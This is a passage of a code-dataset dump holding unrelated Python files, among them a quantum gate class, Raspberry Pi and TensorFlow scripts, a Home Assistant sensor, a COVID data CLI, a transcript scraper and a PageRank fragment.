\\\\\n 0&0&e^{i\\theta}&0 \\\\ 0&e^{i\\theta}&0&0 \\\\ 0&0&0&1 \\end{pmatrix}\n \"\"\"\n cv_interchangeable = True\n cv_tensor_structure = \"monomial\"\n\n def __init__(self, theta: Variable, q0: Qubit = 0, q1: Qubit = 1) -> None:\n super().__init__(params=[theta], qubits=[q0, q1])\n\n @cached_property\n def tensor(self) -> QubitTensor:\n theta = var.asfloat(self.param(\"theta\"))\n unitary = [\n [[[1, 0], [0, 0]], [[0, 0], [np.exp(theta * 1.0j), 0]]],\n [[[0, np.exp(theta * 1.0j)], [0, 0]], [[0, 0], [0, 1]]],\n ]\n return tensors.asqutensor(unitary)\n\n @property\n def H(self) -> \"PSwap\":\n theta = self.param(\"theta\")\n theta = 2.0 * np.pi - theta % (2.0 * np.pi)\n return PSwap(theta, *self.qubits)\n\n\n# end class PSwap\n\n\n# fin\n","sub_path":"quantumflow/stdgates/stdgates_forest.py","file_name":"stdgates_forest.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"219684982","text":"import RPi.GPIO as GPIO\nimport os\n\npowerLed = 4\nled1 = 2\nled2 = 3\n\npowerSwitch = 17\nswitchMode1 = 27\nswitchMode2 = 22\n\n# Quick gpio setup method.\nledList = [powerLed, led1, led2]\nswitchList = [powerSwitch, switchMode1, switchMode2]\n\nGPIO.setmode(GPIO.BCM)\n\nfor i in range(len(switchList)):\n GPIO.setup(switchList[i], GPIO.IN, pull_up_down=GPIO.PUD_UP)\n print('Switch:', switchList[i], 'has been setup as an input')\n\nfor i in range(len(ledList)):\n GPIO.setup(ledList[i], GPIO.OUT)\n print('LED:', ledList[i], 'Has been setup as an output')\n\ntry:\n while True:\n for i in range(len(switchList)):\n inputState = GPIO.input(switchList[i])\n if not inputState and int(switchList[i]) == switchMode1:\n GPIO.output(led2, GPIO.LOW)\n GPIO.output(led1, GPIO.HIGH)\n os.system(\"omxplayer -o local Audio1.mp3\")\n elif not inputState and int(switchList[i]) == switchMode2:\n GPIO.output(led1, GPIO.LOW)\n GPIO.output(led2, GPIO.HIGH)\n os.system(\"omxplayer -o local Audio2.mp3\")\nexcept KeyboardInterrupt:\n for i in range(len(ledList)):\n GPIO.output(ledList[i], GPIO.LOW)\nfinally:\n print('Now exiting')\n GPIO.cleanup()\n\n","sub_path":"TESTING/audio_test.py","file_name":"audio_test.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"375136528","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 21 10:35:39 2018\n\n@author: user\n\"\"\"\nfrom tensorflow.python.framework import ops\nops.reset_default_graph()\nimport tensorflow as tf\nimport numpy as np\nimport os\n\nx1 = np.random.randn(5,5).astype('float32')\ny1 = np.random.randn(5,5).astype('float32')\nu1 = np.random.randn(5,5).astype('float32')\nv1 = np.random.randn(5,5).astype('float32')\n\n#print(x1,y1,u1,v1)\n\n#with tf.name_scope('sum') as scope:\nu = tf.placeholder(tf.float32,shape = [None,5])\nv = tf.placeholder(tf.float32,shape = [None,5])\nw = tf.reduce_sum(u + v)\nt = tf.reduce_sum(u - v)\n\nwriter = tf.summary.FileWriter('tb2',tf.get_default_graph())\ntf.summary.scalar('w',w)\ntf.summary.scalar('t',t)\ntf.summary.histogram('u',u)\ntf.summary.histogram('v',v)\nsumm = tf.summary.merge_all()\n\ninit = tf.global_variables_initializer()\nwith tf.Session() as sess:\n sess.run(init)\n for i in range(5): \n b,c,s = sess.run([w,t,summ],feed_dict = {u:u1+i , v:v1+2*i })\n print(b,c)\n writer.add_summary(s, int(i))\n\nwriter.close()\nos.system('tensorboard --logdir=/home/user/atulmlpython/TF_assign/tb2/ --port=6006') \n","sub_path":"TestAddSummary.py","file_name":"TestAddSummary.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"209230737","text":"from random import randint \n\nclass Player(object):\n def __init__(self, lifes):\n self.lifes = lifes\n self.scores = 0\n self.did_hit = False\n self.is_hitted = False\n\n def fire(self):\n sikta = randint(1, 5) \n if sikta in {1,2,3}: \n self.did_hit=True\n undvika = randint(1, 10)\n if undvika in {1,2,3}:\n self.is_hitted = True\n \n def inc_scores(self):\n self.scores= self.scores + 1\n self.did_hit= False\n\n def reduce_lifes(self):\n self.lifes = self.lifes - 1\n self.is_hitted = False\n\na_player = Player(3) \n\nwhile True:\n input('Tryck Enter för att skjuta')\n a_player.fire()\n if a_player.did_hit:\n print('Träff!')\n a_player.inc_scores() \n else:\n print('Miss, sikta bättre')\n if a_player.is_hitted:\n print('Aaaaaah, du blev träffad')\n a_player.reduce_lifes() \n else:\n print('Du klarade dig denna gång!')\n print(f\"{a_player.scores} poäng\")\n print(f\"{a_player.lifes} liv\")\n if a_player.lifes <= 0:\n print(\"du dog\")\n break\n","sub_path":"pang-pang.py","file_name":"pang-pang.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"595385887","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Codec:\n\n def serialize(self, root):\n \"\"\"Encodes a tree to a single string.\n\n :type root: TreeNode\n :rtype: str\n \"\"\"\n data = []\n q = [root]\n \n while q:\n node = q.pop(0)\n if node is None:\n data.append(None)\n else:\n data.append(node.val)\n q.append(node.left)\n q.append(node.right)\n return data\n\n def deserialize(self, data):\n \"\"\"Decodes your encoded data to tree.\n \n :type data: str\n :rtype: TreeNode\n \"\"\"\n if not data:\n return None\n n = len(data)\n nums = [0 for i in range(n)]\n nodes = [None for i in range(n)]\n \n for i in range(n):\n if i > 0:\n nums[i] = nums[i - 1]\n if data[i] is None:\n nums[i] += 1\n else:\n nodes[i] = TreeNode(data[i])\n \n for i in range(n):\n if nodes[i] is None:\n continue\n else:\n l = 2 * (i - nums[i]) + 1\n r = 2 * (i - nums[i]) + 2\n nodes[i].left = nodes[l]\n nodes[i].right = nodes[r]\n return nodes[0]\n \n","sub_path":"Tree Recur backtracking/297-Serialize and Deserialize Binary Tree/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"619110421","text":"'''\nFunctions for creating and connecting PyLGN networks.\n'''\n\nimport quantities as pq\nfrom matplotlib import pyplot as plt\n\nimport pylgn\nimport pylgn.kernels.spatial as spl\nimport pylgn.kernels.temporal as tpl\n\nfrom . import util \n\n\ndef create_staticnetwork(params=None):\n \"\"\"\n Create a PyLGN network where all temporal kernels are delta functions.\n \n Parameters\n ----------\n params : None, dict, str\n passed to util._parse_parameters\n \"\"\"\n \n params = util.parse_parameters(params)\n \n # network\n network = pylgn.Network()\n integrator = network.create_integrator(\n nt=0, \n nr=params['nr'], \n dt=params['dt'], \n dr=params['dr']\n )\n \n # neurons\n ganglion = network.create_ganglion_cell()\n relay = network.create_relay_cell()\n cortical = network.create_cortical_cell()\n \n # RGC impulse-response function\n delta_t = tpl.create_delta_ft()\n Wg_r = spl.create_dog_ft(\n A=params['A_g'], \n a=params['a_g'], \n B=params['B_g'], \n b=params['b_g']\n )\n ganglion.set_kernel((Wg_r, delta_t))\n \n # excitatory FF connection\n Krg_r = spl.create_gauss_ft(A=params['A_rg_ex'], a=params['a_rg_ex'])\n network.connect(ganglion, relay, (Krg_r, delta_t), weight=params['w_rg_ex'])\n \n # inhibitory FF\n Krig_r = spl.create_gauss_ft(A=params['A_rg_in'], a=params['a_rg_in'])\n network.connect(ganglion, relay, (Krig_r, delta_t), weight=params['w_rg_in'])\n\n # excitatory FB\n Krc_ex_r = spl.create_gauss_ft(A=params['A_rc_ex'], a=params['a_rc_ex'])\n network.connect(cortical, relay, (Krc_ex_r, delta_t), weight=params['w_rc_ex'])\n \n # inhibitory FB\n Krc_in_r = spl.create_gauss_ft(A=params['A_rc_in'], a=params['a_rc_in'])\n network.connect(cortical, relay, (Krc_in_r, delta_t), weight=params['w_rc_in'])\n \n # TC feed-forward\n Kcr_r = spl.create_delta_ft()\n network.connect(relay, cortical, (Kcr_r, delta_t), weight=1)\n \n return network\n\n\ndef create_dynamicnetwork(params=None):\n \"\"\"\n Create PyLGN network with temporal kernels.\n \n Parameters\n ----------\n params : None, dict, str\n passed to util._parse_parameters\n \"\"\"\n \n params = util.parse_parameters(params)\n\n # network\n network = pylgn.Network()\n integrator = network.create_integrator(\n nt=params['nt'], \n nr=params['nr'], \n dt=params['dt'], \n dr=params['dr']\n )\n \n # neurons\n ganglion = network.create_ganglion_cell()\n relay = network.create_relay_cell()\n cortical = network.create_cortical_cell()\n \n # RGC impulse-response function\n Wg_r = spl.create_dog_ft(\n A=params['A_g'], \n a=params['a_g'], \n B=params['B_g'], \n b=params['b_g']\n )\n Wg_t = tpl.create_biphasic_ft(\n phase=params['phase_g'], \n damping=params['damping_g']\n )\n ganglion.set_kernel((Wg_r, Wg_t))\n \n # excitatory FF connection\n Krg_r = spl.create_gauss_ft(A=params['A_rg_ex'], a=params['a_rg_ex'])\n Krg_t = tpl.create_exp_decay_ft(\n tau=params['tau_rg_ex'], \n delay=params['delay_rg_ex']\n )\n network.connect(ganglion, relay, (Krg_r, Krg_t), weight=params['w_rg_ex'])\n \n # inhibitory FF\n Krig_r = spl.create_gauss_ft(A=params['A_rg_in'], a=params['a_rg_in'])\n Krig_t = tpl.create_exp_decay_ft(\n tau=params['tau_rg_in'], \n delay=params['delay_rg_in']\n )\n network.connect(ganglion, relay, (Krig_r, Krig_t), weight=params['w_rg_in'])\n \n # excitatory FB\n Krc_ex_r = spl.create_gauss_ft(A=params['A_rc_ex'], a=params['a_rc_ex'])\n Krc_ex_t = tpl.create_exp_decay_ft(\n tau=params['tau_rc_ex'], \n delay=params['delay_rc_ex'])\n network.connect(cortical, relay, (Krc_ex_r, Krc_ex_t), weight=params['w_rc_ex'])\n \n # inhibitory FB\n Krc_in_r = spl.create_gauss_ft(A=params['A_rc_in'], a=params['a_rc_in'])\n Krc_in_t = tpl.create_exp_decay_ft(\n tau=params['tau_rc_in'], \n delay=params['delay_rc_in'])\n network.connect(cortical, relay, (Krc_in_r, Krc_in_t), weight=params['w_rc_in'])\n \n # TC feed-forward\n Kcr_r = spl.create_delta_ft()\n Kcr_t = tpl.create_delta_ft()\n network.connect(relay, cortical, (Kcr_r, Kcr_t), weight=params['w_cr'])\n\n return network\n\n\ndef get_neuron(name, network):\n \"\"\"\n Returns requested pylgn.Neuron object. Taken from \n https://github.com/miladh/edog-simulations.\n\n Parameters\n ----------\n name : string\n name of the neuron\n\n network : pylgn.Network\n\n Returns\n -------\n out : pylgn.Neuron\n \"\"\"\n neuron = [neuron for neuron in network.neurons if type(neuron).__name__ == name]\n \n if not neuron:\n raise NameError(\"neuron not found in network\", name)\n \n elif len(neuron) > 1 and name == \"Relay\":\n raise ValueError(\"more than one Relay cell found in network\")\n \n return neuron\n\n","sub_path":"dlgnsim/networks.py","file_name":"networks.py","file_ext":"py","file_size_in_byte":4979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"362235790","text":"from tables.common import parse_file, grid_search_eval\n\nPRETRAIN_EVAL_RESULTS_TEMPLATE = \"\"\"global_step = {global_step:d}\nloss = {loss:f}\nmasked_lm_accuracy = {masked_lm_accuracy:f}\nmasked_lm_loss = {masked_lm_loss:f}\nnext_sentence_accuracy = {next_sentence_accuracy:f}\nnext_sentence_loss = {next_sentence_loss:f}\n\"\"\"\n\ntable_rows = []\nfor sparsity in [0, .1, .2, .3, .4, .5, .6, .7, .8, .9]:\n\n eval_entries, train_losses = grid_search_eval(lambda task, lr: f'models/{task}/gradual_prune_{int(sparsity*100)}_less_embed_lr_{lr}/eval_results.txt')\n\n pretrain_results = parse_file(f'models/pretrain/gradual_prune_0_head_pruned_{int(sparsity*100)}/eval_results.txt', PRETRAIN_EVAL_RESULTS_TEMPLATE)\n pretrain_loss = pretrain_results['loss'] if pretrain_results else float('inf')\n\n avg_eval = sum(eval_entries) / len(eval_entries)\n avg_loss = sum(train_losses) / len(train_losses)\n table_rows.append(\n f\"{sparsity} & {pretrain_loss:.2f} & \" #+ \" & \".join([f\"{acc:.2f}|{loss:.2f}\" for acc, loss in zip(eval_entries, train_losses)]) + f\" & {avg_eval:.2f}|{avg_loss:.2f}\"\n )\n\nrows = \"\\\\\\\\\\n\".join(table_rows)\nprint(f\"\"\"\n\\\\begin{{tabular}}{{ccccccccccc}}\nPruned & Pre-train Loss & MNLI & QQP & QNLI & SST-2 & CoLA & STS-B & MRPC & RTE & AVG\\\\\\\\\n\\hline\n{rows}\\\\\\\\\n\\\\end{{tabular}}\n\"\"\")\n","sub_path":"tables/head_pruned.py","file_name":"head_pruned.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"635699395","text":"\"\"\"Support for Ezviz binary sensors.\"\"\"\nimport logging\n\nfrom pyezviz.constants import BinarySensorType\n\nfrom homeassistant.components.binary_sensor import BinarySensorEntity\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity import DeviceInfo\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.update_coordinator import CoordinatorEntity\n\nfrom .const import DATA_COORDINATOR, DOMAIN, MANUFACTURER\nfrom .coordinator import EzvizDataUpdateCoordinator\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_entry(\n hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback\n) -> None:\n \"\"\"Set up Ezviz sensors based on a config entry.\"\"\"\n coordinator: EzvizDataUpdateCoordinator = hass.data[DOMAIN][entry.entry_id][\n DATA_COORDINATOR\n ]\n sensors = []\n\n for idx, camera in enumerate(coordinator.data):\n for name in camera:\n # Only add sensor with value.\n if camera.get(name) is None:\n continue\n\n if name in BinarySensorType.__members__:\n sensor_type_name = getattr(BinarySensorType, name).value\n sensors.append(\n EzvizBinarySensor(coordinator, idx, name, sensor_type_name)\n )\n\n async_add_entities(sensors)\n\n\nclass EzvizBinarySensor(CoordinatorEntity, BinarySensorEntity):\n \"\"\"Representation of a Ezviz sensor.\"\"\"\n\n coordinator: EzvizDataUpdateCoordinator\n\n def __init__(\n self,\n coordinator: EzvizDataUpdateCoordinator,\n idx: int,\n name: str,\n sensor_type_name: str,\n ) -> None:\n \"\"\"Initialize the sensor.\"\"\"\n super().__init__(coordinator)\n self._idx = idx\n self._camera_name = self.coordinator.data[self._idx][\"name\"]\n self._name = name\n self._sensor_name = f\"{self._camera_name}.{self._name}\"\n self.sensor_type_name = sensor_type_name\n self._serial = self.coordinator.data[self._idx][\"serial\"]\n\n @property\n def name(self) -> str:\n \"\"\"Return the name of the Ezviz sensor.\"\"\"\n return self._name\n\n @property\n def is_on(self) -> bool:\n \"\"\"Return the state of the sensor.\"\"\"\n return self.coordinator.data[self._idx][self._name]\n\n @property\n def unique_id(self) -> str:\n \"\"\"Return the unique ID of this sensor.\"\"\"\n return f\"{self._serial}_{self._sensor_name}\"\n\n @property\n def device_info(self) -> DeviceInfo:\n \"\"\"Return the device_info of the device.\"\"\"\n return {\n \"identifiers\": {(DOMAIN, self._serial)},\n \"name\": self.coordinator.data[self._idx][\"name\"],\n \"model\": self.coordinator.data[self._idx][\"device_sub_category\"],\n \"manufacturer\": MANUFACTURER,\n \"sw_version\": self.coordinator.data[self._idx][\"version\"],\n }\n\n @property\n def device_class(self) -> str:\n \"\"\"Device class for the sensor.\"\"\"\n return self.sensor_type_name\n","sub_path":"homeassistant/components/ezviz/binary_sensor.py","file_name":"binary_sensor.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"150075485","text":"from tkinter import *\r\n#导入tkinter模块所有内容\r\n\r\n#创建一个toplevel的根窗口,并把它作为参数实例化下列的textLabel、imgLabel对象\r\nroot = Tk()\r\nroot.title(\"温馨提示\")\r\n#穿件一个文本label对象\r\ntextLabel = Label(root,\\\r\ntext = \"您所下载的影片含有未成年人限制的内容,请满18周岁后再点击观看!\")\r\ntextLabel.pack(side=LEFT)\r\n#创建一个图像Label对象\r\n#用PhotosImage实例化一个图片对象(支持gif格式的图片)\r\nphoto = PhotoImage(file = \"18.gif\")\r\nimgLabel = Label(root,image = photo)\r\nimgLabel.pack(side=RIGHT)\r\n\r\nmainloop()","sub_path":"p15_3.py","file_name":"p15_3.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"565827513","text":"import os\r\nimport re\r\n\r\npath = 'C:/ShareSSD/scop/maxcluster_filtered/'\r\npath_to_summaries = 'C:/ShareSSD/scop/maxcluster_summaries/'\r\n\r\ndef startSummaries():\r\n\r\n #start with gdt_2 files\r\n\r\n for filename in os.listdir(path):\r\n print(filename)\r\n if 'gdt_2' in filename:\r\n\r\n with open(path+filename,'r') as fp:\r\n\r\n line = fp.readline()\r\n while line:\r\n if 'RMSD' in line:\r\n parsed = re.findall(r\"[-+]?\\d*\\.\\d+|\\d+\", line)\r\n rmsd = parsed[5]\r\n maxsub = parsed[3]\r\n tmscore = parsed[6]\r\n\r\n #gdt-ha\r\n if 'GDT' in line:\r\n for n in line.split():\r\n try: \r\n gdt = float(n)\r\n except ValueError:\r\n pass\r\n\r\n line = fp.readline()\r\n\r\n new_name = str(filename).replace('gdt_2','summary')\r\n\r\n with open(path_to_summaries+new_name,'w') as nf:\r\n nf.write('RMSD= '+rmsd+'\\n')\r\n nf.write('MaxSub= '+maxsub+'\\n')\r\n nf.write('TM-score= '+tmscore+'\\n')\r\n nf.write('GDT-HA= '+str(gdt)+'\\n')\r\n\r\n appendGDTTS()\r\n\r\ndef appendGDTTS():\r\n\r\n for filename in os.listdir(path):\r\n print(filename)\r\n if 'gdt_4' in filename:\r\n\r\n parsed = str(filename).split('_')\r\n\r\n structure1 = parsed[0]\r\n if '.ent' not in structure1:\r\n structure1 = structure1+'_.ent'\r\n structure2 = parsed[2]\r\n if '.ent' not in structure2:\r\n structure2 = structure2+'_.ent'\r\n\r\n print(structure1)\r\n print(structure2)\r\n\r\n with open(path+filename) as fp:\r\n line = fp.readline()\r\n while line:\r\n if 'GDT' in line:\r\n for n in line.split():\r\n try: \r\n gdt = float(n)\r\n except ValueError:\r\n pass\r\n\r\n line = fp.readline()\r\n\r\n summary_name = structure1+'_'+structure2+'_summary'\r\n\r\n with open(path_to_summaries+summary_name,'a') as nf:\r\n nf.write('GDT-TS= '+str(gdt)+'\\n')\r\n\r\nstartSummaries() \r\n\r\n","sub_path":"Alignments/ParseMaxCluster.py","file_name":"ParseMaxCluster.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"182918977","text":"from itertools import chain\nfrom typing import Optional\nimport logging\nimport pathlib\nimport os\nimport json\nimport shutil\n\nimport click\n\nfrom libs import google_sheet_helpers, wide_dates_df\nfrom libs.datasets import statistical_areas\nfrom libs.datasets.combined_datasets import (\n ALL_TIMESERIES_FEATURE_DEFINITION,\n US_STATES_FILTER,\n ALL_FIELDS_FEATURE_DEFINITION,\n)\nfrom libs.datasets.latest_values_dataset import LatestValuesDataset\nfrom libs.datasets.timeseries import MultiRegionTimeseriesDataset\nfrom libs.datasets.timeseries import add_new_cases\nfrom libs.qa import dataset_summary\nfrom libs.qa import data_availability\nfrom libs.datasets.timeseries import TimeseriesDataset\nfrom libs.datasets import dataset_utils\nfrom libs.datasets import combined_dataset_utils\nfrom libs.datasets import combined_datasets\nfrom libs.datasets.sources import forecast_hub\nfrom pyseir import DATA_DIR\nimport pyseir.icu.utils\nfrom pyseir.icu import infer_icu\n\n\nPROD_BUCKET = \"data.covidactnow.org\"\n\n_logger = logging.getLogger(__name__)\n\n\n@click.group(\"data\")\ndef main():\n pass\n\n\ndef _save_field_summary(\n timeseries_dataset: MultiRegionTimeseriesDataset, output_path: pathlib.Path\n):\n\n _logger.info(\"Starting dataset summary generation\")\n summary = dataset_summary.summarize_timeseries_fields(timeseries_dataset.data)\n summary.to_csv(output_path)\n _logger.info(f\"Saved dataset summary to {output_path}\")\n\n\n@main.command()\n@click.option(\"--filename\", default=\"external_forecasts.csv\")\ndef update_forecasts(filename):\n \"\"\"Updates external forecasts to the current checked out covid data public commit\"\"\"\n path_prefix = dataset_utils.DATA_DIRECTORY.relative_to(dataset_utils.REPO_ROOT)\n data_root = dataset_utils.LOCAL_PUBLIC_DATA_PATH\n data_path = forecast_hub.ForecastHubDataset.DATA_PATH\n shutil.copy(data_root / data_path, path_prefix / filename)\n _logger.info(f\"Updating External Forecasts at {path_prefix / filename}\")\n\n\n@main.command()\n@click.option(\"--summary-filename\", default=\"timeseries_summary.csv\")\n@click.option(\"--wide-dates-filename\", default=\"multiregion-wide-dates.csv\")\n@click.option(\"--aggregate-to-msas\", is_flag=True, help=\"Aggregate counties to MSAs\")\ndef update(summary_filename, wide_dates_filename, aggregate_to_msas: bool):\n \"\"\"Updates latest and timeseries datasets to the current checked out covid data public commit\"\"\"\n path_prefix = dataset_utils.DATA_DIRECTORY.relative_to(dataset_utils.REPO_ROOT)\n\n data_source_classes = set(\n chain(\n chain.from_iterable(ALL_FIELDS_FEATURE_DEFINITION.values()),\n chain.from_iterable(ALL_TIMESERIES_FEATURE_DEFINITION.values()),\n )\n )\n data_sources = {\n data_source_cls.SOURCE_NAME: data_source_cls.local()\n for data_source_cls in data_source_classes\n }\n timeseries_dataset: TimeseriesDataset = combined_datasets.build_from_sources(\n TimeseriesDataset, data_sources, ALL_TIMESERIES_FEATURE_DEFINITION, filter=US_STATES_FILTER\n )\n latest_dataset: LatestValuesDataset = combined_datasets.build_from_sources(\n LatestValuesDataset, data_sources, ALL_FIELDS_FEATURE_DEFINITION, filter=US_STATES_FILTER,\n )\n multiregion_dataset = MultiRegionTimeseriesDataset.from_timeseries_and_latest(\n timeseries_dataset, latest_dataset\n )\n multiregion_dataset = add_new_cases(multiregion_dataset)\n if aggregate_to_msas:\n aggregator = statistical_areas.CountyToCBSAAggregator.from_local_public_data()\n multiregion_dataset = multiregion_dataset.append_regions(\n aggregator.aggregate(multiregion_dataset)\n )\n\n _, multiregion_pointer = combined_dataset_utils.update_data_public_head(\n path_prefix, latest_dataset, multiregion_dataset,\n )\n\n # Write DataSource objects that have provenance information, which is only set when significant\n # processing of the source data is done in this repo before it is combined. The output is not\n # used downstream, it is for debugging only.\n for data_source in data_sources.values():\n if data_source.provenance is not None:\n wide_dates_df.write_csv(\n data_source.timeseries().get_date_columns(),\n path_prefix / f\"{data_source.SOURCE_NAME}-wide-dates.csv\",\n )\n\n if wide_dates_filename:\n wide_dates_df.write_csv(\n timeseries_dataset.get_date_columns(),\n multiregion_pointer.path.with_name(wide_dates_filename),\n )\n\n if summary_filename:\n _save_field_summary(multiregion_dataset, path_prefix / summary_filename)\n\n\n@main.command()\n@click.option(\"--output-dir\", type=pathlib.Path, required=True)\n@click.option(\"--filename\", type=pathlib.Path, default=\"timeseries_field_summary.csv\")\ndef save_summary(output_dir: pathlib.Path, filename: str):\n \"\"\"Saves summary of timeseries dataset indexed by fips and variable name.\"\"\"\n us_timeseries = combined_datasets.load_us_timeseries_dataset()\n _save_field_summary(us_timeseries, output_dir / filename)\n\n\n@main.command()\n@click.option(\"--name\", envvar=\"DATA_AVAILABILITY_SHEET_NAME\", default=\"Data Availability - Dev\")\n@click.option(\"--share-email\")\ndef update_availability_report(name: str, share_email: Optional[str]):\n sheet = google_sheet_helpers.open_or_create_spreadsheet(name, share_email=share_email)\n info_worksheet = google_sheet_helpers.update_info_sheet(sheet)\n data_sources_by_source_name = data_availability.load_all_latest_sources()\n\n for name, dataset in data_sources_by_source_name.items():\n _logger.info(f\"Updating {name}\")\n report = data_availability.build_data_availability_report(dataset)\n data_availability.update_multi_field_availability_report(\n sheet, report, name, columns_to_drop=[\"source\", \"fips\"]\n )\n\n # Reorder sheets with combined data first and metadata last\n COLUMN_ORDER_OVERRIDE = {data_availability.COMBINED_DATA_KEY: -5, info_worksheet.title: 5}\n worksheets = sheet.worksheets()\n worksheets = sorted(worksheets, key=lambda x: (COLUMN_ORDER_OVERRIDE.get(x.title, 0), x.title))\n sheet.reorder_worksheets(worksheets)\n\n _logger.info(\"Finished updating data availability report\")\n\n\n@main.command()\ndef update_case_based_icu_utilization_weights():\n \"\"\"\n Calculate the updated States to Counties disaggregation weights and save to disk. These\n weights are used to estimate county level ICU heads-in-beds as an input for the ICU Utilization\n metric.\n\n The output is callable with county aggregation-level fips keys and returns a normalized [0,1]\n value such that the weights for all counties in a given state sum to unity.\n \"\"\"\n output_path = os.path.join(DATA_DIR, infer_icu.ICUWeightsPath.ONE_MONTH_TRAILING_CASES.value)\n output = pyseir.icu.utils.calculate_case_based_weights()\n _logger.info(f\"Saved case-based ICU Utilization weights to {output_path}\")\n with open(output_path, \"w\") as f:\n json.dump(output, f)\n","sub_path":"cli/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"321603653","text":"#scraping code modified from Mark Needham's Python NLTK/Neo4j: Analysing the transcripts of How I Met Your Mother\nimport requests\nfrom bs4 import BeautifulSoup\nfrom soupsieve import select\n\nepisodes = {}\n\nfor i in range(5,7):\n \n page = open(\"data/html/page-\" + str(i) + \".html\", 'r')\n soup = BeautifulSoup(page.read(), features=\"lxml\")\n doc = soup.select(\".topic-titles.row2 h3 a\")\n for row in doc:\n if row != doc[0] and row != doc[1]: \n parts = row.text.split(\" - \")\n episodes[parts[0]] = {\"title\": parts[1], \"link\": row.get(\"href\")}\n\nwebsite = \"http://transcripts.foreverdreaming.org\"\nfor key, value in episodes.items():\n\n parts = key.split(\"x\")\n season = int(parts[0])\n episode = int(parts[1])\n\n filename = \"data/transcripts/S%d-Ep%d.txt\" %(season, episode)\n link = value[\"link\"] #for pages 3-14\n link = website+ link[1:] #for pages 3-14\n \n with open(filename, 'wb') as handle:\n headers = {'User-Agent': 'Chrome/78.0.3904.106'}\n response = requests.get(link,headers = headers) #use value[\"link\"] instead of link for pages 1 and 2 #use link for other pages\n if response.ok:\n for block in response.iter_content(1024):\n if not block:\n break\n\n handle.write(block)\n","sub_path":"code/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"557225462","text":"'''\n2017/04/20\nWritten By Eunjin Cho\nDetermining the importance of proteins using PageRank\n'''\nimport sys\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\n\n\nclass PR:\n\tdef __init__(self, filename, beta, iters):\n\t\tself.filename = filename\n\t\tself.beta = float(beta)\n\t\tself.iters = int(iters)\n\n\n\tdef parse_matrix(self):\n\t\t'''\n\t\tRead protein data and convert it to dictionaries to later create a matrix\n\t\t'''\n\n\t\tidx = -1\n\t\t# key: idx, value: a real protein values\n\t\tself.idx_protein_dict = dict()\n\t\t# key: source, value: set of destinations\n\t\tself.protein_link_dict = dict()\n\t\tfor line in self.filename.readlines():\n\t\t\tif (idx == -1):\n\t\t\t\tidx += 1\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tline = line.strip()\n\t\t\t\tline_split = line.split('\\t')\n\t\t\t\tsrc_protein = line_split[0]\n\t\t\t\tdest_protein = line_split[1]\n\t\t\t\tif (src_protein not in self.idx_protein_dict.values()):\n\t\t\t\t\tself.idx_protein_dict[idx] = src_protein\n\t\t\t\t\tidx += 1\n\t\t\t\tif (dest_protein not in self.idx_protein_dict.values()):\n\t\t\t\t\tself.idx_protein_dict[idx] = dest_protein\n\t\t\t\t\tidx += 1\n\t\t\t\tif src_protein in self.protein_link_dict:\n\t\t\t\t\tself.protein_link_dict[src_protein].add(dest_protein)\n\t\t\t\tif src_protein not in self.protein_link_dict:\n\t\t\t\t\tself.protein_link_dict[src_protein] = set()\n\t\t\t\t\tself.protein_link_dict[src_protein].add(dest_protein)\n\n\t\t# key: protein, value: idx\n\t\tself.protein_idx_dict = dict()\n\t\tfor k, v in self.idx_protein_dict.items():\n\t\t\tself.protein_idx_dict[v] = k\n\n\t\tself.protein_idx_dict_new = self.protein_idx_dict.copy()\n\t\tself.idx_protein_dict_new = self.idx_protein_dict.copy()\n\n\n\tdef create_matrix(self):\n\t\t'''\n\t\tCreate a numpy matrix for faster matrix multiplication\n\t\t'''\n\n\t\t# initialize the matrix\n\t\t# rows are destinations and columns are sources\n\t\tlist_matrix = []\n\t\tfor i in range(len(self.idx_protein_dict)):\n\t\t\tlist_inside = [0]*len(self.idx_protein_dict)\n\t\t\tlist_matrix.append(list_inside)\n\n\t\tfor src, dest_set in self.protein_link_dict.items():\n\t\t\tsrc_idx = self.protein_idx_dict[src]\n\t\t\tfor dest in dest_set:\n\t\t\t\tdest_idx = self.protein_idx_dict[dest]\n\t\t\t\tlist_matrix[dest_idx][src_idx] = 1/len(dest_set)\n\t\t\n\t\t# Create a numpy array\n\t\tself.np_protein_mat_orig = np.array(list_matrix)\n\t\tself.np_protein_mat = 